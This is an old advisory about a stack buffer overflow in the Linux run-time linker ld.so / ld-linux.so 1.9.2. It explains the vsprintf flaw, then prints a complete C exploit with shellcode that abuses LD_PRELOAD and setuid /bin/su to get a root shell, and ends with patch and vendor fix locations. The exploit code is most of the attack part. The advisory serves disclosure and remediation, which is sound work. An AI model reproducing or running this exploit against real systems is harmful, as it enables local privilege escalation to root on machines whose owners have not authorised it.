COMMAND
ld.so / ld-linux.so
SYSTEMS AFFECTED
Linux
PROBLEM
ld.so is the run-time linker used by dynamically linked
executables (a.out). Inside the error reporting function there
is a call to vsprintf, which doesn't check the size of the string
it is storing in an automatic buffer.
The ELF version of run-time linker(ld-linux.so) is vulnerable to
an almost identical stack overwrite.
A local user that can execute any dynamically linked setuid binary
and can force ld.so to error, can execute arbitrary code as root.
Credit goes to KRS[T]. Dan McGuirk made an exploit for the Linux
ld.so buffer overflow. It only works for ld.so 1.9.2, not 1.7.14.
The overflow doesn't seem to be exploitable by using a long
filename, because the error messages that get printed are of the
form:
%s: can't load library '%s'\n
In _dl_fdprintf, the format string is iterated through by
incrementing parameter 'char *fmt', which is located on the stack
only four bytes above the return address you're trying to
overwrite. So if you try to overflow the buffer by using the
first %s, the ": can't load library" part winds up overwriting
'fmt', and then _dl_fdprintf goes crazy and segfaults before it
can return with the phony return address. So I don't think you
can do anything worse than cause a crash by creating a long argv0.
But you can still exploit the overflow by putting the shellcode
string in LD_PRELOAD. 1.7.14 ignores LD_PRELOAD for setuid
executables, but 1.9.2 doesn't. It does require that the
LD_PRELOAD string have no slashes in it, so you have to link
/bin/sh into the current directory.
Exploit follows. You may have to adjust the offset, but the
buffer size should be correct.
---------------
/*
* buffer overflow exploit for ld-linux.so.1.9.2
* by Dan McGuirk <mcguirk@indirect.com>
* based on Aleph One's "smashing the stack" code
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 3300
#define DEFAULT_BUFFER_SIZE 1013
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff_bin_sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("sp is 0x%x\n", get_sp());
addr = get_sp() - offset; /* a valid addr is addr = 0xbfffeba8; here */
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff, "EGG=", 4);
putenv(buff);
system("ln -sf /bin/sh _bin_sh");
system("ln -sf /bin/su aa");
system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
system("rm -f _bin_sh");
system("rm -f aa");
}
SOLUTION
Upgrade your ld.so to the latest version, or apply the patch
provided by Alan Cox. Note that the latest version of ld.so that
was tested (1.9.2) still appeared to be vulnerable to this
overflow.
David Engel has released a fixed ld.so as:
ftp://ftp.ods.com/pub/linux/ld.so-1.9.3.tar.gz
ftp://i44ftp.info.uni-karlsruhe.de/pub/linux/ld..so/ld.so-1.9.3.tar.gz
This release should soon appear on sunsite.unc.edu in
/pub/Linux/GCC. Note that ld.so-1.9 does not support the old
a.out format anymore.
The following Linux distribution maintainers and vendors have
released fixed packages of ld.so:
Vendor: S.u.S.E
Product: S.u.S.E Linux 5.0
Status: Affected, fix available
Location: ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-5.0/a1
Vendor: Caldera
Product: Caldera OpenLinux Lite, Base and Standard 1.1
Status: Affected, fix available
Location: ftp://ftp.caldera.com/pub/openlinux/updates/1.1/004
Note: ELF support only.
Vendor: RedHat
Product: RedHat Linux 4.0, 4.1 and 4.2
Status: Affected, fix available
Location: ftp://ftp.redhat.com/updates/4.2
Note: Files pgp-signed, key available from install CD or
PGP key servers.
Vendor: Debian
Product: Debian GNU/Linux
Status: Affected, fix available
Location: ftp://ftp.debian.org/debian/bo-updates
Vendor: Delix
Product: DLD 5.2
Status: Affected, fix available
Location: ftp://ftp.delix.de/pub/Linux/DLD-5.2/updates
Vendor: LST
Product: LST Power Linux 2.2
Status: Affected, fix available
Location: Same as for Caldera above.